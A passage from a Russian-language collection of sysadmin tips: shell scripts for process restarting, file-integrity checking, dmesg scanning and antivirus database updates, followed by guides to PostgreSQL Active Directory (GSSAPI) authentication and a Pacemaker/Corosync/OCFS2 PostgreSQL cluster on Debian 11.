            if [ "x$PID" != "x" ] && kill -0 $PID 2>/dev/null ; then
                RUNNING=1
            else
                RUNNING=0
            fi
       else
            RUNNING=0
       fi
    
       if [ $RUNNING -eq 0 ]; then
            echo "Starting $proc again..."
            /usr/local/etc/rc.d/${proc}.sh start
            continue
       else
            echo "$proc already running"
       fi
    
    Нужно только убедиться что нужные PID файлы хранятся в /var/run. 
    Директивы pid_filename в squid.conf, PidFile в httpd.conf
    
     
    ----* Контроль целостности системы штатными средствами   Автор: Avatar  [комментарии]
     
    Что делать если под рукой нет tripwire или osec, а кривой aide вы пользоваться не хотите. 
    Часть функций , таких как проверка прав доступа и изменение файлов, можно
    реализовать штатными стедствами.
    
    Вот маленький скрипт который помещается в crontab и позволяет это реализовать. 
    При желании его функции можно легко расширить.
    
    
    #!/bin/bash
    
    ulimit -t 20
    checkdir="/bin /sbin"
    filedb="/var/tmp/permsecdb"
    email="test@test.ru"
    
    out=$(
    exec 2>&1
    umask 266
    find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp
    diff $filedb $filedb.tmp
    mv -f $filedb.tmp $filedb
    )
    if [ "$out" ];then 
        (date; echo; echo "$out") |mail -s "Change permsec `hostname`" $email
    fi
    
    - ulimit лучше выставить не случай не предвиденных ситуаций.
    - checkdir соответственно проверяемые директории
    - filedb текстовой файл базы
    - email куда посылать мыло
    
    Если изменений в системе не было, то сообщения посылаться не будут.
    Сообщение бывает 4 видов 
    
    1 - ошибки
    2 - добавлен файл "> 644	d41d8cd98f00b204e9800998ecf8427e  /bin/12"
    3 - удален файл "< 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    4 - изменен файл "
    < 755	ce367ef1e2cca19e6216874cb8c09d96  /bin/12
    ---
    > 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    
    Успешного контроля.
    
     
    ----* Скрипт для сканирования лога dmesg   Автор: Андрей  [обсудить]
     
    Вот возникла необходимость в постоянном сканировании лога dmesg и выполнении определенных действий.
    Возможно общественности пригодится.
    
    #!/bin/bash
    #
    # simple scan dmesg
    #
    # event files:
    #    DEBUG=0
    #    STRING="scaning dmesg string"
    #    EXEC="command"
    #
    
    EVENTDIR=/etc/scan-dmesg
    
    sleep 2
    
    if [ ! -e "$1" ]; then
        TMPFILE=`mktemp`
        dmesg > $TMPFILE
        $0 $TMPFILE &
        exit 0
    fi
    
    if [ "`dmesg | diff $1 -`" ] ; then
        TMPFILE=`mktemp`
        dmesg > $TMPFILE
        for FILE in $EVENTDIR/* ; do
            . $FILE
            if diff $1 $TMPFILE | grep -q "$STRING" ; then
                $EXEC > /dev/null 2>&1
                if [ $DEBUG ] ; then
                    echo "`date` $0: for event $FILE exec $EXEC" >> /var/log/scan-dmesg
                fi
            fi
        done
        rm -rf $1
        $0 $TMPFILE &
        exit 0
    fi
    
    $0 $1 &
    
    exit 0
    
     
    ----* Обновление антивирусных баз (AvpUpdate) (доп. ссылка 1)   Автор: denz  [обсудить]
     
    Автоматическое обновление антивирусных баз, пример скрипта:
    
    #!/bin/sh
    AVPUServ="ftp://downloads-us1.kaspersky-labs.com"
    FTPDir="/home/virtual/ftp/pub"
    cd /home/virtual/ftp/pub/AVP
    echo "==> Процесс обновления антивирусных баз и утилит запущен..."
    wget -m -c -o /var/log/avp-update.log -nH ${AVPUServ}/updates/
    echo "==> Обновление антивирусных баз завершено..."
    wget -m -c -o /var/log/avp-update_zip.log -nH ${AVPUServ}/updates_zip/
    echo "==> Обновление антивирусных баз в формате zip завершено..."
    wget -m -c -o /var/log/avp-utils.log -nH ${AVPUServ}/utils/
    echo "==> Обновление антивирусных утилит завершено..."
    chown -R denz:operator ${FTPDir}/*
    echo "==> Дата обновления:" `date`
    
    В крон вбиваем:
    30      3       *       *       *       root    /bin/sh /usr/bin/avpupdate
    
    По первому разу качнет порядка 10 метров, все последующие только обновившиеся и новые файлы...
    Работает в бакграунде.
    
     

       SQL и базы данных

    ----* Настройка СУБД Postgresql для аутентификации пользователей через Active Directory   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки СУБД Postgresql для включения
    аутентификации пользователей через Active Directory с помощью протокола GSSAPI.
    
    Предполагается, что домен Active Directory и БД Postgresql уже развёрнуты.
    
    Для примера у меня развёрнут тестовый стенд со следующими параметрами:
    
    
  • Сервер с Active Directory: Windows Server 2022
  • Функциональный уровень домена: Windows Server 2016
  • Имя домена: domain.test
  • Контроллер домена: dc.domain.test
  • Клиентский компьютер с Windows 11, присоединённый к домену
  • Сервер с БД Postgresql 13 на Debian 11
  • DNS имя сервера СУБД: pg-host.domain.test Установка пакетов на сервере СУБД Для систем на базе Debian: root# apt install krb5-user postgresql Настройка Kerberos на сервере СУБД В файле /etc/krb5.conf на сервере с СУБД Postgresql добавляем описание для области Kerberos домена Windows: [libdefaults] default_realm = DOMAIN.TEST ... [realms] DOMAIN.TEST = { kdc = dc.domain.test admin_server = dc.domain.test } Проверяем, что можем получить билет: user@pg-host:~$ kinit Administrator@DOMAIN.TEST Смотрим список полученных билетов на сервере с БД: user@pg-host:~$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: Administrator@DOMAIN.TEST Valid starting Expires Service principal 23.07.2022 20:55:44 24.07.2022 06:55:44 krbtgt/DOMAIN.TEST@DOMAIN.TEST renew until 24.07.2022 20:55:38 Настройка описания имени службы в Active Directory Настройка пользователя Active Directory Для того, чтобы пользователи могли подключаться к СУБД с помощью GSSAPI, в Active Directory должна быть учётная запись с соответствующей записью уникального описания службы в поле Service Principal Name и User Principal Name: servicename/hostname@REALM. Значение имени сервиса servicename по умолчанию postgres и может быть изменено во время сборки Postgresql с помощью параметра with-krb-srvnam ./configure --with-krb-srvnam=whatever
  • hostname - это полное доменное имя сервера, где работает СУБД (pg-host.domain.test) оно должно быть зарегистрировано в DNS сервере, который использует Active Directory.
  • realm - имя домена (DOMAIN.TEST) В моём примере имя службы получается: postgres/pg-host.domain.test@DOMAIN.TEST Создаём пользователя pg-user в Active Directory, указываем "Запретить смену пароля пользователей" и "Срок действия пароля не ограничен". Создание файла с таблицами ключей Для того, чтобы служба СУБД могла подключаться к Active Directory без ввода пароля, необходимо создать файл keytab на сервере с Windows Server и после переместить его на сервер c СУБД. Создание файла выполняется с помощью команды ktpass.exe: ktpass.exe -princ postgres/pg-host.domain.test@DOMAIN.TEST -ptype KRB5_NT_PRINCIPAL -crypto ALL -mapuser pg-user@domain.test -pass <пароль> -out %tmp%\krb5.keytab Эта же команда выполняет привязку имени сервиса к учётной записи. Подключаемся к СУБД Postgresql и определяем, где СУБД предполагает наличие файла keytab: postgres@pg-host:~$ psql postgres=# show krb_server_keyfile; FILE:/etc/postgresql-common/krb5.keytab Копируем файл с Windows Server на сервер с СУБД в указанное место. Если файл необходимо расположить в другом месте, то необходимо поменять параметр krb_server_keyfile: sql> alter system set krb_server_keyfile=''/path''; Настройка Postgresql Настройка файла доступа pg_hba.conf и файла сопоставления имён pg_ident.conf В файле pg_ident.conf описываем сопоставление пользователей Active Directory с пользователями БД: # MAPNAME SYSTEM-USERNAME PG-USERNAME gssmap /^(.*)@DOMAIN\.TEST$ \1 Данное сопоставление указывает отображать доменного пользователя user@DOMAIN.TEST в пользователя БД user (для подключения, пользователь user уже должен быть создан в БД). В файле pg_hba.conf указываем, например, что использовать аутентификацию с помощью GSSAPI необходимо только для пользователей, состоящих в группе krb_users и подключающихся из сети 192.168.1.0/24: host all +krb_users 192.168.1.0/24 gss include_realm=1 krb_realm=DOMAIN.TEST map=gssmap Здесь:
  • map=gssmap - имя сопоставления из файла pg_ident.conf
  • krb_realm - имя домена Active Directory Создание пользователей Создаём пользователей в Active Directory: user1, user2. Создаём пользователей в СУБД: postgres=# create role user1 login; postgres=# create role user2 login; postgres=# create role user3 login encrypted password ''пароль'' ; Создаём группу krb_users (как файле pg_hba.conf) и добавляем необходимых пользователей в неё: postgres=# grant krb_users to user1; postgres=# grant krb_users to user2; В данном случае, пользователи user1, user2 смогут подключится к СУБД через GSSAPI, используя учётные данные из Active Directory, а пользователь user3 сможет подключиться только с указанием пароля, хранящимся в БД. Проверка подключения На Windows машине проверяем подключение. Входим на компьютер с Windows через Active Directory, например, как user1@domain.test. Запускаем клиент postgresql, в строке подключения указываем полное доменное имя сервера СУБД, как прописано в файле keytab - pg-host.domain.test, логин и пароль не указываем: C:\> chcp 1251 C:\> psql -h pg-host.domain.test -d postgresql Смотрим список билетов Kerberos: C:\> klist.exe #2> Клиент: user1 @ DOMAIN.TEST Сервер: postgres/pg-host.domain.test @ DOMAIN.TEST Тип шифрования KerbTicket: RSADSI RC4-HMAC(NT) флаги билета 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Время начала: 7/24/2022 11:22:54 (локально) Время окончания: 7/24/2022 20:59:53 (локально) Время продления: 7/24/2022 10:59:53 (локально) Тип ключа сеанса: RSADSI RC4-HMAC(NT) Флаги кэша: 0 Вызванный центр распространения ключей: dc.domain.test Проверяем подключение пользователя user3 с помощью пароля: C:\> psql -h pg-host.domain.test -d postgresql -U user3 Как видно аутентификация в СУБД работает успешно как с помощью Active Directory, так и через пароль, хранящийся в БД.
  •  
    ----* Настройка СУБД PostgreSQL 13 под управлением Pacemaker/Corosync в Debian 11   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки Postgresql для работы под контролем
    кластерной службы Pacemaker
    
    Под нагрузкой данное решение не проверялось, всегда делайте (и проверяйте) резервные копии.
    
    Для хранения базы данных будет рассмотрен пример использования кластерной файловой системе OCFS2.
    
    Версии ПО, использованные в примере:
    
    
  • OCFS2 - драйвер из ядра 5.10, утилиты ocfs2-tools - 1.8.6
  • Corosync - 3.1.2
  • Pacemaker - 2.0.5
  • Postgresql 13 В статье будет три типа кластеров:
  • кластер файловой системы OCFS2 - обеспечивает хранение файлов на общем диске и согласованную работу с ними
  • кластер Corosync/Pacemaker - обеспечивает отслеживание работы процессов СУБД, запуск виртуального ip-адреса СУБД
  • кластер баз данных Postgresql - набор баз, управляемых одним экземпляром работающего сервера СУБД Подготовка операционных систем Для устойчивой работы кластеров (OCFS2, Pacemaker/Corosync) необходимо как минимум три сервера. Сервера могут быть как физические так и виртуальные. Желательно, чтобы сервера имели одинаковые характеристики производительности. Я для демонстрации подготовил три виртуальные машины с помощью Qemu-KVM. Устанавливаем ОС Debian 11 на каждый из серверов в минимальной конфигурации. Настройка сети В примере у меня будут сервера с адресами:
  • node1 - ip 192.168.1.11
  • node2 - ip 192.168.1.12
  • node3 - ip 192.168.1.13 Имена узлов должны разрешаться в IP-адреса на каждом из серверов, для этого необходимо прописать сопоставление в файле /etc/hosts или создать записи на DNS-сервере. root:~# cat /etc/hosts 127.0.0.1 localhost 192.168.1.11 node1.local node1 192.168.1.12 node2.local node2 192.168.1.13 node3.local node3 В случае реальной реализации кластера, сетевых карт на каждом из серверов должно быть как минимум две - карты необходимо объединить в логическое устройство bonding или teaming. Физически карты должны подключаться к двум независимым коммутаторам. В примере у меня будет по одной сетевой карте на сервер. Настройка сетевого экрана Выполняем настройку экрана на каждом узле:
  • устанавливаем пакет для управления брандмауэром ufw
  • создаём разрешающие правила для ssh, postgres, узлов кластера
  • активируем правила root# apt install ufw root# ufw allow ssh root# ufw allow postgres root# ufw allow from 192.168.1.11 to any root# ufw allow from 192.168.1.12 to any root# ufw allow from 192.168.1.13 to any root# ufw enable Кластер OCFS2 для отслеживания работы узлов по-умолчанию использует протокол TCP порт 7777 (задаётся в файле /etc/ocfs2/cluster.conf), а Corosync - протокол UDP, порт 5405 (задаётся в файле /etc/corosync/corosync.conf), с учётом этого, можно настроить более тонкие правила брандмауэра: root# ufw allow proto tcp from 192.168.1.11 to any port 7777 root# ufw allow proto tcp from 192.168.1.12 to any port 7777 root# ufw allow proto tcp from 192.168.1.13 to any port 7777 root# ufw allow proto udp from 192.168.1.11 to any port 5405 root# ufw allow proto udp from 192.168.1.12 to any port 5405 root# ufw allow proto udp from 192.168.1.13 to any port 5405 Настройка дисковой системы На каждом сервере будет индивидуальный диск для системы (/dev/vda, 20 Гб) и общий диск на все сервера для хранения БД (/dev/vdb, 5 Гб): root# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 254:0 0 20G 0 disk ├─vda1 254:1 0 512M 0 part /boot/efi ├─vda2 254:2 0 18,5G 0 part / └─vda3 254:3 0 976M 0 part [SWAP] vdb 254:16 0 5G 0 disk /mnt/ocfs2clst Настройка кластерной файловой системы Для реального использования общий диск должен быть расположен на системе хранения данных, и подключатся к серверам по нескольким путям. Для демонстрации общий диск будет реализован с помощью средств Qemu-KVM. Настройка службы кластера ФС OCFS2 Настройка ядра Linux Необходимо изменить параметры ядра, чтобы сервер автоматически перезагружался при сбое кластерной ФС, для это нужно создать файл /etc/sysctl.d/10-ocfs2.conf kernel.panic_on_oops = 1 kernel.panic = 30 После применить параметры: root# systemctl restart systemd-sysctl Данные настройки указывают ядру Linux при возникновении сбоя (когда связь по сети пропала, но узел продолжает запись heartbeat сообщений на общий диск) автоматически перезагрузить узел через 30 секунд. Установка пакетов OCFS2 Устанавливаем пакеты на каждом из узлов root# apt install ocfs2-tools Настройка кластера ФС OCFS2 Все настройки кластера OCFS2 хранятся в файле /etc/ocfs2/cluster.conf. Нужно либо выполнить команды на каждом узле кластера, либо выполнить на одном узле и после скопировать файл /etc/ocfs2/cluster.conf на каждый узел, а после выполнить регистрацию и запуск. Создаём кластер (выполнить на каждом узле кластера) root# o2cb add-cluster ocfs2clst Добавляем узлы в кластер (выполнить на каждом узле кластера), имя узла должно совпадать с тем, что выдаёт команда hostname root# o2cb add-node --ip 192.168.1.11 --port 7777 --number 1 ocfs2clst node1 root# o2cb add-node --ip 192.168.1.12 --port 7777 --number 2 ocfs2clst node2 root# o2cb add-node --ip 192.168.1.13 --port 7777 --number 3 ocfs2clst node3 Регистрируем кластер (выполнить на каждом узле кластера) root# o2cb register-cluster ocfs2clst Включаем кластер (выполнить на каждом узле кластера) root# o2cb start-heartbeat ocfs2clst Выполняем настройку драйвера ФС (обязательно выполнить на каждом узле кластера) root# dpkg-reconfigure ocfs2-tools Запускать кластер OCFS2 (O2CB) во время загрузки компьютера?: Y Имя кластера, запускаемого во время загрузки компьютера: ocfs2clst Настройки драйвера хранятся в файле /etc/default/o2cb Содержимое файла: # O2CB_ENABLED: 'true' means to load the driver on boot. O2CB_ENABLED=true # O2CB_BOOTCLUSTER: If not empty, the name of a cluster to start. O2CB_BOOTCLUSTER=ocfs2clst # O2CB_HEARTBEAT_THRESHOLD: Iterations before a node is considered dead. O2CB_HEARTBEAT_THRESHOLD=31 # O2CB_IDLE_TIMEOUT_MS: Time in ms before a network connection is considered dead. O2CB_IDLE_TIMEOUT_MS=30000 # O2CB_KEEPALIVE_DELAY_MS: Max. time in ms before a keepalive packet is sent. O2CB_KEEPALIVE_DELAY_MS=2000 # O2CB_RECONNECT_DELAY_MS: Min. time in ms between connection attempts. O2CB_RECONNECT_DELAY_MS=2000 Создание ФС OCFS2 Можно создать разделы на кластерном томе и создавать ФС уже на разделе, но это добавит сложностей при расширении тома, так как придётся вручную править границы раздела с помощью parted/fdisk и после расширять ФС. Но у нас кластерный том планируется целиком отдать под работу СУБД Postgresql, поэтому ФС предлагаю создать сразу на всем томе (в примере это диск /dev/vdb). Выполняем форматирование общего тома на одном из узлов: root# mkfs.ocfs2 -L pg-data --cluster-name=ocfs2clst -N 5 -T datafiles --fs-feature-level=max-features --cluster-stack=o2cb /dev/vdb Описание параметров:
  • -L pg-data - метка ФС
  • --cluster-name=ocfs2clst - имя кластера OCFS2, который управляет ФС
  • -N 5 - максимальное количество узлов, которые могут работать одновременно с ФС, позже можно поменять с помощью tunefs.ocfs2, но рекомендуется создавать структуру заранее
  • -T datafiles - тип хранимых данных, может быть mail, datafiles, vmstore
  • --fs-feature-level=max-features - включаем все доступные возможности ФС, т.к. узлы у нас идентичные
  • --cluster-stack=o2cb - используем для управления ФС стандартный стек o2cb Проверяем, что метки новой ФС видны на всех узлах кластера: root# blkid /dev/vdb /dev/vdb: LABEL="pg-data" UUID="ce92b1e7-30cb-4883-9a92-57c986f76acd" BLOCK_SIZE="4096" TYPE="ocfs2" Вывод команды blkid на всех узлах кластера должен совпадать. Выполняем пробное монтирование Монтирование выполняется 20-30 секунд, так как требует согласования по сети. Выполняем команды на всех узлах кластера. root# mkdir /mnt/ocfs2clst root# mount /dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd /mnt/ocfs2clst Команда mounted.ocfs2 показывает на каких узлах смонтирована ФС. root# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node2, node3 Создаём пробные файлы/папки в каталоге /mnt/ocfs2clst на одном из узлов и проверяем, что они видны на остальных узлах кластера OCFS2. Размонтируем ФС на каждом узле: root# umount /mnt/ocfs2clst Расширение ФС OCFS2 Если потребуется увеличить размер хранилища:
  • Увеличиваем размер тома на СХД
  • Пересканируем том на сервере или перезагружаем узлы кластера
  • Расширяем ФС root# tunefs.ocfs2 -S /dev/vdb Добавление узла в кластер OCFS2 Если потребуется добавить ещё узел (например, node4, с ip 192.168.1.14) в кластер OCFS2, то необходимо выполнить команду на каждом узле: root# o2cb_ctl -C -i -n node4 -t node -a number=4 -a ip_address=192.168.1.14 -a ip_port=7777 -a cluster=ocfs2clst Необходимо заметить, что для обеспечения кворума, количество узлов должно быть нечётным. Установка PostgreSQL Устанавливаем пакеты на все узлы кластера: root# apt install postgresql Отключаем службу на каждом узле кластера, т.к. запуском СУБД будет управлять Pacemaker root# systemctl disable postgresql Настройка Pacemaker/Corosync Установка пакетов root# apt install pacemaker corosync crmsh fence-agents Настройка Corosync Служба Corosync обеспечивает обмен сообщениями между узлами кластера, с помощью неё отслеживается, что узлы работают корректно. А уже на основании информации о том какие узлы доступны, служба Pacemaker принимает решение о запуске сервисов (запуск виртуальных ip-адресов, монтирование файловых систем, запуск процессов СУБД). Настройки Corosync хранятся в файле /etc/corosync/corosync.conf. Рабочий пример файла указан ниже: # Please read the corosync.conf.5 manual page totem { version: 2 cluster_name: pgclst crypto_cipher: aes256 crypto_hash: sha256 } logging { fileline: off to_stderr: yes to_logfile: yes logfile: /var/log/corosync/corosync.log to_syslog: yes debug: off logger_subsys { subsys: QUORUM debug: off } } quorum { provider: corosync_votequorum } nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } Включение шифрования сообщений Corosync Для повышения безопасности можно включить шифрование служебных сообщений при обмене между узлами кластера. Для этого на одном из узлов необходимо выполнить команду: root# corosync-keygen Она создаст файл /etc/corosync/authkey, этот файл необходимо скопировать на другие узлы кластера. root@node1:~# scp /etc/corosync/authkey root@node2:/etc/corosync/authkey root@node1:~# scp /etc/corosync/authkey root@node3:/etc/corosync/authkey В файле настроек /etc/corosync/corosync.conf необходимо задать параметры crypto_cipher и crypto_hash в секции totem: totem { ... crypto_cipher: aes256 crypto_hash: sha256 ... } Если вам необходимо разместить файл-ключ по не стандартному пути, то расположение можно указать с помощью директивы keyfile. После изменений необходимо перезапустить службы на каждом узле: root# systemctl restart corosync pacemaker Параметры узлов кластера Corosync Для работы кластера необходимо указать список узлов. Это делается в секции nodelist. nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } После настройки, копируем файл /etc/corosync/corosync.conf на остальные узлы. Перезагружаем все узлы кластера и проверяем работу службы corosync с помощью команд corosync-quorumtool и crm_mon root@node1:~# corosync-quorumtool -s Quorum information ------------------ Date: Thu Jul 14 21:09:17 2022 Quorum provider: corosync_votequorum Nodes: 3 Node ID: 1 Ring ID: 1.139 Quorate: Yes Votequorum information ---------------------- Expected votes: 3 Highest expected: 3 Total votes: 3 Quorum: 2 Flags: Quorate Membership information ---------------------- Nodeid Votes Name 1 1 node1 (local) 2 1 node2 3 1 node3 root@node1:~# crm_mon -1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Thu Jul 14 21:11:18 2022 * Last change: Thu Jul 14 20:24:25 2022 by root via cibadmin on node1 * 3 nodes configured * 0 resource instances configured Node List: * Online: [ node1 node2 node3 ] Настройка Pacemaker Ресурсы Pacemaker описываются через XML-файлы, я вместо ручного написания xml-объектов буду использовать crm (CRM shell), где параметры ресурсов можно задать в виде аргументов. Смена имени кластера Ранее мы создали кластер OCFS2 с именем ocfs2clst, кластер Corosync с именем pgclst, теперь укажем имя кластера Pacemaker. После установки, имя кластера Pacemaker, обычно debian, поменяем его также на pgclst: root# crm_attribute --query --name=cluster-name scope=crm_config name=cluster-name value=debian root# crm_attribute --type crm_config --name cluster-name --update pgclst Параметры по-умолчанию Меняем параметры по-умолчанию для новых ресурсов:
  • resource-stickiness - "липучесть" ресурса к текущему расположению в кластере (по-умолчанию 0), или "стоимость" переноса ресурса на другой узел. При увеличении значения, pacemaker будет стараться восстановить состояние сбойного ресурса на том же узле, при малом значении - предпочтёт восстановить ресурс запуском на других узлах. root# crm_attribute --type rsc_defaults --name resource-stickiness --update 10
  • migration-threshold - кол-во сбоев ресурса на узле, при превышении которого происходит миграция на другой узел root# crm_attribute --type rsc_defaults --name migration-threshold --update 2 Ассиметричный кластер Можно указать, что для запуска каких-либо ресурсов необходимо наличие явного разрешающего правила. Это может понадобиться если не все узлы кластера идентичны по характеристикам: root# crm_attribute -n symmetric-cluster -v false После включения для каждого ресурса будет необходимо создать правила. crm conf location <имя правила> <имя ресурса> <приоритет>: <узел> Например, для ресурса виртуального ip-адреса (ip-pgclst) можно указать, что c приоритетом 100 он будет размещаться на узле node1, с приоритетом 10 - на узле node2, а на узле node3 его запуск будет запрещён (приоритет -infinity ): root~# crm conf crm(live)configure# location loc-ip-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-3 ip-pgclst -inf: node3 Изоляция узлов (stonith) В Pacemaker для каждого узла необходимо указать метод изоляции (fencing) в случае сбоя сетевой доступности. Осуществляется изоляция с помощью stonith ресурсов. Это могут быть программы для отключения питания на UPS, программы, которые подключаются к гипервизору и принудительно завершают работу виртуальной машины (нашего узла кластера) и много других вариантов. Без STONITH устройств Pacemaker откажется запускать ресурсы: root:~# crm_verify -L -V (unpack_resources) error: Resource start-up disabled since no STONITH resources have been defined (unpack_resources) error: Either configure some or disable STONITH with the stonith-enabled option (unpack_resources) error: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid Список устройств для изоляции можно узнать из команды: root# stonith_admin --list-installed Параметры, необходимые устройству для работы, можно узнать: root# stonith -t <имя устройста stonith> -n Простейшие stonith ресурсы можно создать так. Ресурс-пустышка dummy - ничего не отключает: root# crm conf primitive sh-dummy stonith:null params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency sh-dummy SSH-stonith - пытается подключиться к сбойному узлу через SSH и запланировать выключение через службу at (должна быть установлена на всех узлах). root# apt install at root# crm conf primitive fence-ssh stonith:ssh params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency fence-ssh Имитируем сбой на узле node3: root# stonith -t ssh -p "node1 node2 node3" -T reset node3 Для тестирования может понадобится отключение STONITH (НЕ РЕКОМЕНДУЕТСЯ): root~# crm_attribute -n stonith-enabled -v false Очистить ошибки можно командой: root# stonith_admin --cleanup --history=node3 Стоит заметить что, в случае сбоя сети, кроме STONITH устройств, узел кластера может перезагрузить служба OCFS2. Если у какого-либо узла пропадёт связь с другими узлами, но он продолжит посылать heartbeat сообщения на кластерный диск, то через 30 секунд (значение sysctl kernel.panic = 30) этот узел будет перезагружен принудительно. Настройка PostgreSQL для работы под управлением Pacemaker/Corosync Для запуска PostgreSQL необходимо создать три ресурса:
  • Ресурс, который будет монтировать ФС, где расположена БД
  • Ресурс виртуального ip-адреса, по которому будут обращаться клиенты к СУБД
  • Ресурс, запускающий процессы СУБД PostgreSQL После необходимо настроить правила совместного расположения ресурсов и указать порядок запуска. В примере будет созданы ресурсы, обеспечивающие работу экземпляра СУБД. Ресурс, обеспечивающий монтирование ФС с БД Описание ресурса Pacemaker для ФС OCFS2 Ресурс fs-ocfs2 будет монтировать кластерную ФС OCFS2 в каталог /mnt/ocfs2clst на каждом узле. Монтирование будет производится по метке ФС. Том, где расположена БД, у меня имеет UUID метку ce92b1e7-30cb-4883-9a92-57c986f76acd (см. Создание ФС OCFS2). root~# mkdir -p /mnt/ocfs2clst # выполнить на каждом узле root@node1:~# crm conf crm(live/node1)configure# primitive fs-ocfs2 Filesystem \ params device="/dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd" \ directory="/mnt/ocfs2clst" \ fstype=ocfs2 options="rw,relatime,commit=5,coherency=buffered" \ op start timeout=60s interval=0 \ op stop timeout=60s interval=0 \ op monitor timeout=40 interval=20 Полный список параметров монтирования можно узнать на странице https://www.kernel.org/doc/html/latest/filesystems/ocfs2.html По-умолчанию, ресурс запускается только на одном узле, но так как у нас ФС кластерная, необходимо запустить ресурс на всех узлах. Это возможно с помощью клона ресурса: crm(live/node1)configure# clone fs-clone-ocfs2 fs-ocfs2 Проверяем конфигурацию и выходим: crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit После создания ресурса, ФС должна автоматически смонтироваться на всех узлах кластера. root@node1:~# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node3, node2 Правила размещения ресурса на узлах Если указан параметр symmetric-cluster=false, то для запуска ресурсов необходимо указать явные правила, где ресурсы могут запускаться. Указываем, что ресурс кластерной ФС должен запускаться на всех узлах кластера с равным приоритетом 1: root~# crm conf crm(live)configure# location loc-fs-ocfs2-1 fs-clone-ocfs2 1: node1 crm(live)configure# location loc-fs-ocfs2-2 fs-clone-ocfs2 1: node2 crm(live)configure# location loc-fs-ocfs2-3 fs-clone-ocfs2 1: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. Ресурс виртуального ip-адреса Создаём ресурс ip-pgclst виртуального ip-адреса 192.168.1.10. Именно этот ip-адрес будет использовать СУБД для приёма подключений. root~# crm conf crm(live)configure# primitive ip-pgclst IPaddr \ params ip=192.168.1.10 \ op monitor interval=10s Если в атрибутах кластера Pacemaker указан параметр symmetric-cluster=false, то аналогично ресурсу файловой системы создаём правила размещения. Ресурс ip-адреса будет располагаться совместно с СУБД. Если производительность узлов отличается, то можно указать разные приоритеты для запуска. Предположим, что node1 мощнее, чем node2, а node3 вообще исключим для работы СУБД: root~# crm conf crm(live)configure# location loc-ip-pgclst-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-pgclst-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-pgclst-3 ip-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. У меня в примере правила размещения не используются. Ресурс Pacemaker, запускающий процессы СУБД PostgreSQL Инициализация файлов кластера БД PostgreSQL Изменяем владельца и права доступа на каталог с БД: root# chown -R postgres:postgres /mnt/ocfs2clst root# chmod 750 /mnt/ocfs2clst Инициализируем файлы кластера БД PostgreSQL в каталоге /mnt/ocfs2clst/pg-data с включением контроля чётности страниц БД, а после запускаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/initdb -D /mnt/ocfs2clst/pg-data/ -A peer -k postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ start Настройка конфигурации PostgreSQL Подключаемся к СУБД через unix-сокет: root@node1:~# su - postgres postgres@node1:~$ psql Изменяем параметры БД для возможности работы под управлением Pacemaker: psql> alter system set logging_collector=on; psql> alter system lc_messages = 'C.UTF-8'; psql> alter system set listen_addresses='192.168.1.10'; Здесь я включил сборщик сообщений (logging collector), поменял язык сообщений на английский (при работе по Pacemaker, русские сообщения заменялись вопросами) и указал, что СУБД должна принимать соединения только на кластерном ip-адресе. Если потребуется в кластере Pacemaker запустить несколько экземпляров Postgresql, то необходимо разместить unix-сокет СУБД по отдельным каталогам, так как по-умолчанию все экземпляры будут создавать сокет в каталоге /tmp. psql> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-data'; Например, если бы у нас было две БД: СУБД 1, кластерный ip 192.168.1.21, каталог /mnt/ocfs2clst/pg-db1 СУБД 2, кластерный ip 192.168.1.22, каталог /mnt/ocfs2clst/pg-db2 то unix_socket_directories необходимо задать: psql db1> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db1'; psql db2> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db2; В дальнейшем для подключения через unix-сокет необходимо указать путь к нему (команду необходимо выполнять на том узле, где работает СУБД): postgres@node1:~$ psql -h /mnt/ocfs2clst/pg-data/ Редактируем файл /mnt/ocfs2clst/pg-data/pg_hba.conf, разрешаем подключение по сети с паролем: ... # IPv4 network connections host all all all md5 ... После внесения настроек, останавливаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ stop Создание ресурса СУБД PostgreSQL root~# crm configure crm(live/node1)configure# primitive db-pgclst pgsql \ params pgctl="/usr/lib/postgresql/13/bin/pg_ctl" \ psql="/usr/lib/postgresql/13/bin/psql" \ pgdba=postgres \ pglibs="/usr/lib/postgresql/13/lib" \ pgdata="/mnt/ocfs2clst/pg-data" \ 